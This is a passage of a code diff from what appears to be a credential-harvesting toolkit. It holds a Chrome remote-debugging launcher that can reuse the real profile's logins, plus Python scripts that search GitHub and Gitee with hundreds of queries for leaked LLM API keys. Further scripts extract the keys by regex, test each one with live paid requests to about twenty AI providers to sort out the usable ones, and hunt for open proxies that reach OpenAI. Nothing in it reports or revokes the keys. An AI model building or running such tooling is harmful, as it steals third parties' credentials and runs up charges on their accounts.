[switch]$UseRealProfile,
[string]$ProfileDir = "",
[string]$Url = "about:blank"
)
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
if (-not (Test-Path $chromePath)) {
# Try other common locations
$altPaths = @(
"$env:ProgramFiles\Google\Chrome\Application\chrome.exe",
"$env:ProgramFiles(x86)\Google\Chrome\Application\chrome.exe",
"$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe"
)
foreach ($p in $altPaths) {
if (Test-Path $p) { $chromePath = $p; break }
}
if (-not (Test-Path $chromePath)) {
Write-Host "❌ Chrome not found!" -ForegroundColor Red
exit 1
}
}
# Determine user data directory
if ($UseRealProfile) {
# Check if Chrome is running
$chromeProcs = Get-Process chrome -ErrorAction SilentlyContinue
if ($chromeProcs) {
Write-Host "⚠️ Chrome is running. Closing it to use your real profile..." -ForegroundColor Yellow
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\User Data"
Write-Host "Using real profile: $userDataDir" -ForegroundColor Green
} elseif ($ProfileDir -ne "") {
$userDataDir = $ProfileDir
} else {
# Separate profile for capture sessions
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\Capture-Profile"
Write-Host "Using capture profile: $userDataDir" -ForegroundColor Cyan
Write-Host "(Use -UseRealProfile for your real logins/cookies)" -ForegroundColor DarkGray
}
# Launch Chrome
$chromeArgs = @(
"--remote-debugging-port=$Port",
"--user-data-dir=`"$userDataDir`"",
"--no-first-run",
"--no-default-browser-check",
$Url
)
Write-Host ""
Write-Host "╔══════════════════════════════════════════════════╗" -ForegroundColor Cyan
Write-Host "║ Chrome — Remote Debugging Enabled ║" -ForegroundColor Cyan
Write-Host "╚══════════════════════════════════════════════════╝" -ForegroundColor Cyan
Write-Host ""
Write-Host " Port: $Port" -ForegroundColor White
Write-Host " Profile: $userDataDir" -ForegroundColor White
Write-Host " CDP URL: http://localhost:$Port" -ForegroundColor Green
Write-Host ""
Start-Process -FilePath $chromePath -ArgumentList $chromeArgs
# Wait for CDP to be ready
Write-Host "Waiting for CDP endpoint..." -NoNewline
$ready = $false
for ($i = 0; $i -lt 30; $i++) {
Start-Sleep -Milliseconds 500
try {
$response = Invoke-RestMethod -Uri "http://localhost:$Port/json/version" -ErrorAction Stop
$ready = $true
break
} catch {
Write-Host "." -NoNewline -ForegroundColor DarkGray
}
}
if ($ready) {
Write-Host " Ready!" -ForegroundColor Green
Write-Host ""
Write-Host "Chrome is running with CDP on port $Port" -ForegroundColor Green
Write-Host "Now run the capture tool:" -ForegroundColor Cyan
Write-Host " cd tools\scripts\cdp-capture" -ForegroundColor White
Write-Host " node capture.js" -ForegroundColor White
Write-Host ""
Write-Host "Or with options:" -ForegroundColor Cyan
Write-Host " node capture.js --screenshot --dom --tab=-1" -ForegroundColor White
Write-Host ""
} else {
Write-Host " Timeout!" -ForegroundColor Red
Write-Host "Chrome may not have started correctly." -ForegroundColor Red
}
@@ -0,0 +1,206 @@
#!/usr/bin/env python3
"""Persistent content cache for GitHub raw-file fetching.
GitHub code search returns the same file over and over across dozens of
queries. A blob URL embeds the file's git SHA:
https://github.com/<owner>/<repo>/blob/<sha>/<path>
https://raw.githubusercontent.com/<owner>/<repo>/<sha>/<path>
That SHA is immutable — once we've fetched a given (repo, path, sha), the
bytes can never change, so we never need to crawl it again. For default-
branch raw URLs that omit the SHA, we cache by (repo, path) plus a hash of
the prior content; the caller can force a revalidation when GitHub reports
the file changed, but in practice the hunters only fetch blob-SHA URLs.
Cache files live under results/_cache/content/<sharded>.json so a single
large file doesn't get rewritten on every save. Each entry:
key: {"t": epoch, "n": length, "h": sha1[:16], "c": text}
The big win: `get_cached(repo, path, sha)` returns the stored text
immediately when the SHA matches — zero network, zero extraction, and the
hunter's dedup logic then skips keys it already pulled out of that file.
Usage:
from content_cache import ContentCache
cache = ContentCache() # auto-loads results/_cache/content
text = cache.get(repo, path, sha)
if text is None:
text = fetch_raw(url)
cache.put(repo, path, sha, text)
...
cache.save() # or use as context manager
All public methods are thread-safe.
"""
import hashlib
import json
import os
import threading
import time
from pathlib import Path
HERE = Path(__file__).parent
DEFAULT_DIR = HERE / "results" / "_cache" / "content"
def _norm_repo(repo):
# strip leading "gitee:" or other mirrors consistently; keep as-is otherwise
return (repo or "").strip().lower()
def _content_hash(text):
return hashlib.sha1((text or "").encode("utf-8", "replace")).hexdigest()[:16]
class ContentCache:
"""In-memory + on-disk cache of fetched file contents keyed by blob."""
def __init__(self, cache_dir=None, force=False):
self.dir = Path(cache_dir) if cache_dir else DEFAULT_DIR
self.dir.mkdir(parents=True, exist_ok=True)
self.force = force or os.environ.get("NO_CONTENT_CACHE") == "1"
self._lock = threading.RLock()
# repo_lower -> { path: { sha_or_branch: entry } }
self._data = {}
self._dirty = False
self.hits = 0
self.misses = 0
self.bytes_served = 0
self._load()
# ── persistence ────────────────────────────────────────────
def _shard_path(self, repo):
# one json file per repo keeps saves small and collision-free
safe = "".join(c if c.isalnum() or c in "._-" else "_" for c in repo)
if not safe:
safe = "_misc"
return self.dir / f"{safe}.json"
def _load(self):
if self.force:
return
for p in self.dir.glob("*.json"):
try:
d = json.loads(p.read_text())
except Exception:
continue
# file shape: {"repo": ..., "files": {path: {sha: entry}}}
repo = _norm_repo(d.get("repo", p.stem))
files = d.get("files")
if isinstance(files, dict):
self._data.setdefault(repo, {}).update(files)
def save(self, repo=None):
with self._lock:
if not self._dirty:
return
targets = [repo] if repo else list(self._data.keys())
for r in targets:
r = _norm_repo(r)
files = self._data.get(r)
if not files:
continue
tmp = self._shard_path(r).with_suffix(".tmp")
tmp.write_text(json.dumps(
{"repo": r, "files": files}, ensure_ascii=False))
os.replace(tmp, self._shard_path(r))
self._dirty = False
def __enter__(self):
return self
def __exit__(self, *exc):
self.save()
# ── core API ───────────────────────────────────────────────
def get(self, repo, path, sha=None):
"""Return cached text for (repo, path, sha) or None.
If `sha` is given, a match requires the exact blob SHA. If `sha` is
None (a branch-tip URL), returns the most recent cached content for
that path regardless of SHA — useful only as a cheap pre-screen.
"""
if self.force:
return None
r = _norm_repo(repo)
path = (path or "").strip()
with self._lock:
files = self._data.get(r)
if not files:
return None
versions = files.get(path)
if not versions:
return None
if sha:
ent = versions.get(sha)
else:
# branch URL: return newest version we have
ent = max(versions.values(),
key=lambda e: e.get("t", 0), default=None)
if not ent:
return None
self.hits += 1
self.bytes_served += ent.get("n", 0)
return ent.get("c", "")
def put(self, repo, path, sha, text, ttl=None):
"""Store fetched text. Empty/None text is not cached (avoids
permanently poisoning a transient fetch failure)."""
if self.force:
return
if text is None or not isinstance(text, str) or text == "":
return
r = _norm_repo(repo)
path = (path or "").strip()
with self._lock:
self._data.setdefault(r, {}).setdefault(path, {})[sha or "_branch"] = {
"t": time.time(),
"n": len(text),
"h": _content_hash(text),
"c": text,
}
self._dirty = True
self.misses += 1
def has(self, repo, path, sha):
"""Fast existence check without pulling the (potentially large)
content string into the caller."""
if self.force:
return False
r = _norm_repo(repo)
with self._lock:
return bool(self._data.get(r, {}).get(path, {}).get(sha))
def stats(self):
with self._lock:
repos = len(self._data)
files = sum(len(v) for v in self._data.values())
blobs = sum(len(vers) for v in self._data.values()
for vers in v.values())
return {"repos": repos, "files": files, "blobs": blobs,
"hits": self.hits, "misses": self.misses,
"bytes_served": self.bytes_served}
def parse_raw_url(url):
"""Split a raw.githubusercontent or github blob URL into
(repo, sha, path). Returns (None, None, None) if not parseable."""
u = (url or "").strip()
# raw: https://raw.githubusercontent.com/<owner>/<repo>/<sha>/<path>
if "raw.githubusercontent.com/" in u:
part = u.split("raw.githubusercontent.com/", 1)[1]
seg = part.split("/", 3)
if len(seg) >= 4:
return f"{seg[0]}/{seg[1]}", seg[2], seg[3]
return None, None, None
# blob: https://github.com/<owner>/<repo>/blob/<sha>/<path>
if "github.com/" in u and "/blob/" in u:
part = u.split("github.com/", 1)[1]
seg = part.split("/", 4)
# owner, repo, 'blob', sha, path
if len(seg) >= 5 and seg[2] == "blob":
return f"{seg[0]}/{seg[1]}", seg[3], seg[4]
return None, None, None
+314
View File
@@ -0,0 +1,314 @@
#!/usr/bin/env python3
"""Combine old + new live keys, filter false positives, and run deep verification.
Uses urllib instead of spawning curl subprocesses per key.
"""
import time
import json
import urllib.request
import urllib.error
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict
RESULTS_DIR = Path(__file__).parent / "results"
OLD_LIVE = RESULTS_DIR / "live_keys_raw.txt.bak"
NEW_LIVE = RESULTS_DIR / "live_keys_raw.txt"
COMBINED_LIVE = RESULTS_DIR / "live_keys_combined.txt"
DEEP_USABLE = RESULTS_DIR / "deep_verify" / "usable.txt"
DEEP_NOBAL = RESULTS_DIR / "deep_verify" / "valid_no_balance.txt"
DEEP_NOACC = RESULTS_DIR / "deep_verify" / "valid_no_access.txt"
DEEP_DEAD = RESULTS_DIR / "deep_verify" / "dead.txt"
# ── Deep verify configs ──────────────────────────────────────
DEEP_CONFIGS = {
"OpenAI": {
"url": "https://api.openai.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Anthropic": {
"url": "https://api.anthropic.com/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-3-5-haiku-20241022","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Google": {
"url": "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key={key}",
"headers": {"Content-Type": "application/json"},
"body": '{"contents":[{"parts":[{"text":"hi"}]}],"generationConfig":{"maxOutputTokens":1}}',
},
"Groq": {
"url": "https://api.groq.com/openai/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"llama-3.1-8b-instant","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"DeepSeek": {
"url": "https://api.deepseek.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"deepseek-chat","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"OpenRouter": {
"url": "https://openrouter.ai/api/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"meta-llama/llama-3.1-8b-instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Replicate": {
"url": "https://api.replicate.com/v1/account",
"headers": {"Authorization": "Token {key}"},
"body": None,
},
"Perplexity": {
"url": "https://api.perplexity.ai/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"llama-3.1-8b-online","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"DashScope": {
"url": "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"qwen-plus","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"Moonshot": {
"url": "https://api.moonshot.cn/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"moonshot-v1-8k","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"VolcanoArk": {
"url": "https://ark.cn-beijing.volces.com/api/v3/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
"fallback": {
"url": "https://ark.cn-beijing.volces.com/api/coding/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
},
"ZhipuAI": {
"url": "https://open.bigmodel.cn/api/paas/v4/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"TogetherAI": {
"url": "https://api.together.xyz/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"meta-llama/Llama-3.2-3B-Instruct-Turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"LingyiWanwu": {
"url": "https://api.lingyiwanwu.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"yi-large","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"StepFun": {
"url": "https://api.stepfun.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"step-1-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"SiliconFlow": {
"url": "https://api.siliconflow.cn/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"Qwen/Qwen2.5-7B-Instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"HuggingFace": {
"url": "https://huggingface.co/api/whoami-v2",
"headers": {"Authorization": "Bearer {key}"},
"body": None,
},
"OllamaCloud": {
"url": "https://api.ollama.com/api/chat",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"gemma4:31b","messages":[{"role":"user","content":"hi"}],"stream":false}',
},
"LongCat": {
"url": "https://api.longcat.chat/openai/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"MiniMax": {
"url": "https://api.minimaxi.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
"FreeModel": {
"url": "https://cc.freemodel.dev/v1/messages",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
"fallback": {
"url": "https://api.freemodel.dev/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
},
"XKiro": {
"url": "https://api.xkiro.com/v1/chat/completions",
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
"body": '{"model":"anthropic/claude-sonnet-4-5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
},
}
def _http_request(url, headers, body):
"""Send an HTTP request and return (status_code, response_body)."""
data = body.encode() if body else None
req = urllib.request.Request(url, data=data, headers=headers, method="POST" if body else "GET")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return 0, ""
def deep_verify(provider, key):
"""Send actual chat completion, return USABLE/NO_BALANCE/NO_ACCESS/DEAD."""
if provider not in DEEP_CONFIGS:
return "SKIP"
cfg = DEEP_CONFIGS[provider]
url = cfg["url"].replace("{key}", key)
headers = {hname: hval.replace("{key}", key) for hname, hval in cfg["headers"].items()}
code, body = _http_request(url, headers, cfg.get("body"))
# Check for fallback (VolcanoArk coding plan, FreeModel)
if code != 200 and "fallback" in cfg:
fcfg = cfg["fallback"]
furl = fcfg["url"].replace("{key}", key)
fheaders = {hname: hval.replace("{key}", key) for hname, hval in fcfg["headers"].items()}
code, body = _http_request(furl, fheaders, fcfg.get("body"))
if code == 200:
bl = body.lower()
if "error" in bl and ("balance" in bl or "quota" in bl or "arrearage" in bl):
return "NO_BALANCE"
return "USABLE"
elif code in ("402", "429"):
return "NO_BALANCE"
elif code == 404:
if "invalid" in body.lower() or "unauthorized" in body.lower():
return "DEAD"
return "NO_ACCESS"
elif code in (401, 403):
return "DEAD"
elif code == 400:
bl = body.lower()
if any(x in bl for x in ["arrearage", "insufficient", "balance", "overdue", "payment"]):
return "NO_BALANCE"
elif any(x in bl for x in ["suspended", "limit", "quota", "rate"]):
return "NO_BALANCE"
else:
return "NO_ACCESS"
else:
return "UNKNOWN" if code else "DEAD"
def main():
# ── Combine old + new live keys ──────────────────────────
all_keys = {} # (provider, key) -> (url, desc)
for filepath in [OLD_LIVE, NEW_LIVE]:
if not filepath.exists():
continue
with open(filepath) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|")
if parts[0] == "LIVE" and len(parts) >= 4:
provider, key, url = parts[1], parts[2], parts[3]
desc = parts[4] if len(parts) > 4 else ""
elif len(parts) >= 3:
provider, key, url = parts[0], parts[1], parts[2]
desc = parts[3] if len(parts) > 3 else ""
else:
continue
if not provider or not key:
continue
# Filter out obvious fake/mock keys
if any(x in key.lower() for x in ["mock", "xxxx", "your-", "example", "test-key", "placeholder"]):
continue
# Filter OpenRouter (all dead, public models endpoint)
if provider == "OpenRouter":
continue
k = (provider, key)
if k not in all_keys:
all_keys[k] = (url, desc)
print(f"Combined live keys: {len(all_keys)} (filtered fakes + OpenRouter)")
# Write combined
with open(COMBINED_LIVE, "w") as f:
for (provider, key), (url, desc) in sorted(all_keys.items()):
f.write(f"LIVE|{provider}|{key}|{url}|{desc}\n")
# Summary by provider
by_provider = defaultdict(int)
for (provider, key) in all_keys:
by_provider[provider] += 1
print("\nBy provider:")
for p in sorted(by_provider):
print(f" {p:20s}: {by_provider[p]}")
# ── Deep verify ──────────────────────────────────────────
to_verify = [(p, k, u, d) for (p, k), (u, d) in all_keys.items() if p in DEEP_CONFIGS]
print(f"\nDeep verifying {len(to_verify)} keys...")
results = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "DEAD": [], "SKIP": [], "UNKNOWN": []}
processed = 0
start = time.time()
with ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(deep_verify, p, k): (p, k, u, d) for p, k, u, d in to_verify}
for future in as_completed(futures):
p, k, u, d = futures[future]
processed += 1
try:
result = future.result()
except Exception:
result = "DEAD"
results[result].append((p, k, u, d))
if processed % 50 == 0:
elapsed = time.time() - start
print(f" [{processed}/{len(to_verify)}] usable={len(results['USABLE'])} "
f"nobal={len(results['NO_BALANCE'])} dead={len(results['DEAD'])} "
f"({processed/elapsed:.0f}/s)")
elapsed = time.time() - start
print(f"\nDone in {elapsed:.1f}s")
print(f" USABLE: {len(results['USABLE'])}")
print(f" NO_BALANCE: {len(results['NO_BALANCE'])}")
print(f" NO_ACCESS: {len(results['NO_ACCESS'])}")
print(f" DEAD: {len(results['DEAD'])}")
print(f" SKIP: {len(results['SKIP'])}")
print(f" UNKNOWN: {len(results['UNKNOWN'])}")
# Write results
for category, filepath in [
("USABLE", DEEP_USABLE),
("NO_BALANCE", DEEP_NOBAL),
("NO_ACCESS", DEEP_NOACC),
("DEAD", DEEP_DEAD),
]:
with open(filepath, "w") as f:
for p, k, u, d in sorted(results[category]):
f.write(f"{p}|{k}|{u}|{d}\n")
# Print usable keys by provider
print("\n=== USABLE keys by provider ===")
usable_by_provider = defaultdict(int)
for p, k, u, d in results["USABLE"]:
usable_by_provider[p] += 1
for p in sorted(usable_by_provider):
print(f" {p:20s}: {usable_by_provider[p]}")
print(f"\nUsable keys written to: {DEEP_USABLE}")
if __name__ == "__main__":
main()
+115
View File
@@ -0,0 +1,115 @@
#!/usr/bin/env python3
"""Extract LLM API keys from candidate files — Python version (reliable)."""
import json
import re
import urllib.request
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
RESULTS_DIR = Path(__file__).parent / "results"
CANDIDATES_FILE = RESULTS_DIR / "candidates.json"
PATTERNS_FILE = Path(__file__).parent / "patterns.conf"
OUTPUT_FILE = RESULTS_DIR / "extracted_keys.txt"
UNIQUE_FILE = RESULTS_DIR / "unique_keys.txt"
# Load patterns
patterns = []
with open(PATTERNS_FILE) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("|", 2)
if len(parts) == 3:
provider, regex, desc = parts
try:
patterns.append((provider, re.compile(regex), desc))
except re.error:
pass
print(f"Loaded {len(patterns)} regex patterns")
# Load candidates
with open(CANDIDATES_FILE) as f:
candidates = json.load(f)
print(f"Loaded {len(candidates)} candidate files")
def to_raw_url(url):
"""Convert GitHub/Gitee URL to raw content URL."""
if "github.com" in url:
return url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
elif "gitee.com" in url:
# Gitee raw URL format: https://gitee.com/user/repo/raw/branch/path
return url.replace("/blob/", "/raw/")
return url
def fetch_url(url):
"""Fetch URL content using urllib (no subprocess overhead)."""
raw_url = to_raw_url(url)
req = urllib.request.Request(raw_url, headers={"User-Agent": "Mozilla/5.0"})
try:
with urllib.request.urlopen(req, timeout=10) as resp:
return url, resp.read().decode("utf-8", errors="replace")
except Exception:
return url, ""
def extract_from_content(url, content):
"""Extract API keys from content using loaded regex patterns."""
found = []
for provider, regex, desc in patterns:
for match in regex.finditer(content):
key = match.group()
if len(key) < 10:
continue
found.append(f"{provider}|{key}|{url}|{desc}")
return found
# Process with thread pool
all_keys = set()
processed = 0
with ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(fetch_url, c["url"]): c["url"] for c in candidates}
for future in as_completed(futures):
url = futures[future]
processed += 1
try:
_, content = future.result()
except Exception:
content = ""
if content:
keys = extract_from_content(url, content)
all_keys.update(keys)
if processed % 500 == 0:
print(f" Processed {processed}/{len(candidates)} — {len(all_keys)} unique keys so far")
print(f"\nDone: {processed} files processed, {len(all_keys)} unique keys found")
# Write output
with open(OUTPUT_FILE, "w") as f:
for k in sorted(all_keys):
f.write(k + "\n")
# Also write unique keys (just provider|key)
unique_keys = set()
for k in all_keys:
parts = k.split("|")
if len(parts) >= 2:
unique_keys.add(f"{parts[0]}|{parts[1]}")
with open(UNIQUE_FILE, "w") as f:
for k in sorted(unique_keys):
f.write(k + "\n")
print(f"Written: {OUTPUT_FILE} ({len(all_keys)} lines)")
print(f"Written: {UNIQUE_FILE} ({len(unique_keys)} lines)")
@@ -0,0 +1,55 @@
#!/usr/bin/env python3
"""Find a CN HTTP proxy that can reach api.openai.com."""
import urllib.request, threading, re
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
PROXIES_FILE = Path(__file__).parent / "results/proxies/elite.txt"
TARGET = "https://api.openai.com/v1/models"
def parse_line(line):
# format: ip:portlatencyms[elite?]
m = re.match(r"(\d+\.\d+\.\d+\.\d+:\d+)", line.strip())
return m.group(1) if m else None
def test(px):
proxy = urllib.request.ProxyHandler({"http": f"http://{px}", "https": f"http://{px}"})
opener = urllib.request.build_opener(proxy)
opener.addheaders = [
("User-Agent", "curl/8.5.0"),
("Authorization", "Bearer sk-invalid-test"),
]
try:
r = opener.open(TARGET, timeout=12)
return px, r.getcode(), None
except urllib.error.HTTPError as e:
# 401 means we reached OpenAI — that's a WIN
return px, e.code, None
except Exception as e:
return px, 0, f"{type(e).__name__}: {str(e)[:80]}"
def main():
px_list = []
for line in PROXIES_FILE.read_text().splitlines():
p = parse_line(line)
if p: px_list.append(p)
print(f"testing {len(px_list)} proxies for OpenAI reachability...", flush=True)
hits = []
with ThreadPoolExecutor(max_workers=40) as pool:
futs = [pool.submit(test, p) for p in px_list]
for f in as_completed(futs):
px, code, err = f.result()
if code in (200, 401, 403, 400, 429, 404):
hits.append((px, code))
print(f" ✓ {px} -> HTTP {code}", flush=True)
print(f"\n{len(hits)} proxies reached OpenAI:")
for px, code in hits:
print(f" http://{px} ({code})")
# save best list
out = Path(__file__).parent / "results/proxies/openai_capable.txt"
out.write_text("\n".join(f"http://{px}" for px, _ in hits) + "\n")
print(f"saved -> {out}")
if __name__ == "__main__":
main()
@@ -0,0 +1,555 @@
#!/usr/bin/env python3
"""GitHub search engine for LLM API key leaks.
Replaces the bash-based broad search with a Python module:
- 300+ search queries (code + filename + commit search)
- Smart rate-limit handling (reads X-RateLimit headers, dynamic backoff)
- Multi-token rotation for higher throughput
- Topic-based repo discovery
- Gitee (Chinese GitHub mirror) search support
Output: candidates.json — same format as the bash version:
[{"repository": {"full_name": "..."}, "path": "...", "url": "..."}]
"""
import argparse
import json
import os
import subprocess
import sys
import time
import urllib.request
import urllib.error
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
RESULTS_DIR = Path(__file__).parent / "results"
CANDIDATES_FILE = RESULTS_DIR / "candidates.json"
# ── High-signal key prefixes ────────────────────────────────────
KEY_PREFIXES = [
"sk-proj-", "sk-ant-", "AIza", "hf_", "gsk_", "r8_",
"sk-or-", "pplx-", "sk-cp-", "sk-sp-", "sk-tp-", "sk-zy-",
"fe_oa_", "ak_", "sk-xt-",
]
# ── Env var names by provider ───────────────────────────────────
ENV_VARS = [
"OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY", "GEMINI_API_KEY",
"HUGGINGFACE_TOKEN", "HUGGINGFACE_API_TOKEN", "GROQ_API_KEY",
"REPLICATE_API_TOKEN", "TOGETHER_API_KEY", "DEEPSEEK_API_KEY",
"OPENROUTER_API_KEY", "PERPLEXITY_API_KEY", "MISTRAL_API_KEY",
"COHERE_API_KEY", "AZURE_OPENAI_API_KEY",
# China
"ARK_API_KEY", "VOLC_API_KEY", "VOLCENGINE_API_KEY",
"ZHIPUAI_API_KEY", "GLM_API_KEY", "CHATGLM_API_KEY",
"DASHSCOPE_API_KEY", "ALIBABA_API_KEY",
"MOONSHOT_API_KEY", "KIMI_API_KEY",
"MINIMAX_API_KEY", "HUNYUAN_API_KEY", "TENCENT_API_KEY",
"QIANFAN_API_KEY", "BAIDU_API_KEY",
"SPARK_API_KEY", "IFLYTEK_API_KEY", "ASTRON_API_KEY",
"LINGYIWANWU_API_KEY", "YI_API_KEY",
"STEPFUN_API_KEY", "SILICONFLOW_API_KEY",
"CSDN_API_KEY", "CSDN_CODING_PLAN_KEY", "STARMAP_API_KEY",
"HUAWEI_API_KEY", "HUAWEICLOUD_API_KEY", "CODEARTS_API_KEY",
"MIMO_API_KEY", "XIAOMI_API_KEY", "INFINI_API_KEY", "INFINIAI_API_KEY",
"JD_API_KEY", "JDCLOUD_API_KEY", "MTHREADS_API_KEY",
"KWAIKAT_API_KEY", "KUAISHOU_API_KEY", "STREAMLAKE_API_KEY",
"UCLOUD_API_KEY", "COMPSHARE_API_KEY", "ANOMALY_API_KEY",
"OPENCODE_GO_KEY", "UNICOM_API_KEY", "CUCLOUD_API_KEY", "YUANJING_API_KEY",
"SCNET_API_KEY", "ALIBABA_CODING_PLAN_KEY",
"ZYLOO_API_KEY", "ZYLOO_KEY", "FREEMODEL_API_KEY", "FREEMODEL_KEY",
"OLLAMA_API_KEY", "XKIRO_API_KEY", "XKIRO_KEY",
]
# ── API endpoint URLs (search for these in code = likely key nearby) ──
ENDPOINT_URLS = [
"api.openai.com", "api.anthropic.com", "generativelanguage.googleapis.com",
"huggingface.co", "api.groq.com", "api.replicate.com", "api.together.xyz",
"api.deepseek.com", "openrouter.ai", "api.perplexity.ai",
"ark.cn-beijing.volces.com", "open.bigmodel.cn",
"dashscope.aliyuncs.com", "api.moonshot.cn", "api.minimaxi.com",
"api.hunyuan.cloud.tencent.com", "qianfan.baidubce.com",
"spark-api.xf-yun.com", "maas-coding-api.xf-yun.com",
"api.lingyiwanwu.com", "api.stepfun.com", "api.siliconflow.cn",
"ai.csdn.net", "api.xiaomimimo.com", "cloud.infini-ai.com",
"code.mthreads.com", "streamlake.com", "compshare.cn",
"opencode.ai", "cucloud.cn", "scnet.cn",
"coding.dashscope.aliyuncs.com", "api.zyloo.io",
"freemodel.dev", "cc.freemodel.dev", "api.ollama.com",
"api.longcat.chat", "api.xkiro.com",
]
# ── Model names (search for these = key assignment often nearby) ──
MODEL_NAMES = [
"gpt-4o", "gpt-4o-mini", "claude-sonnet-4", "claude-opus-4",
"gemini-1.5-flash", "gemini-2.0-flash",
"doubao-seed-2-0-pro", "glm-4-flash", "glm-5",
"qwen-plus", "moonshot-v1", "MiniMax-M2.5",
"deepseek-chat", "deepseek-v4-pro",
"yi-large", "step-1-flash", "LongCat-2.0",
"astron-code-latest", "glm_for_coding",
"anthropic/claude-sonnet-4-5", "anthropic/claude-opus-4-5",
]
# ── File extensions to search ───────────────────────────────────
EXTENSIONS = [
"env", "py", "js", "ts", "sh", "cfg", "ini", "ipynb",
"yaml", "yml", "json", "toml", "tf", "rb", "go", "rs",
"java", "kt", "php", "lua",
]
# ── Special filenames to search (high-value targets) ────────────
HOT_FILENAMES = [
".env", ".env.local", ".env.production", ".env.development",
"config.json", "config.yaml", "config.yml",
"secrets.yaml", "secrets.json", "secrets.toml",
"api_keys.txt", "api_keys.json", "keys.json",
"credentials.json", "credentials.yaml",
"settings.json", "settings.yaml",
"application.yml", "application.properties",
"docker-compose.yml", "docker-compose.yaml",
]
# ── GitHub topics to discover repos for targeted scanning ───────
GH_TOPICS = [
"openai", "anthropic", "llm", "chatgpt", "gpt",
"claude", "gemini", "ai-api", "language-model",
"chatbot", "ai-agent", "rag", "langchain",
"dashscope", "qwen", "chatglm", "zhipu",
"doubao", "kimi", "moonshot", "minimax",
"deepseek", "spark-llm", "iflytek",
]
# ═══════════════════════════════════════════════════════════════
# Query Generation
# ═══════════════════════════════════════════════════════════════
def gen_code_queries():
"""Generate GitHub code search queries.
Strategy:
1. Key prefix + extension (high signal, catches raw keys in code)
2. Env var name + extension (catches assignments like OPENAI_API_KEY=sk-...)
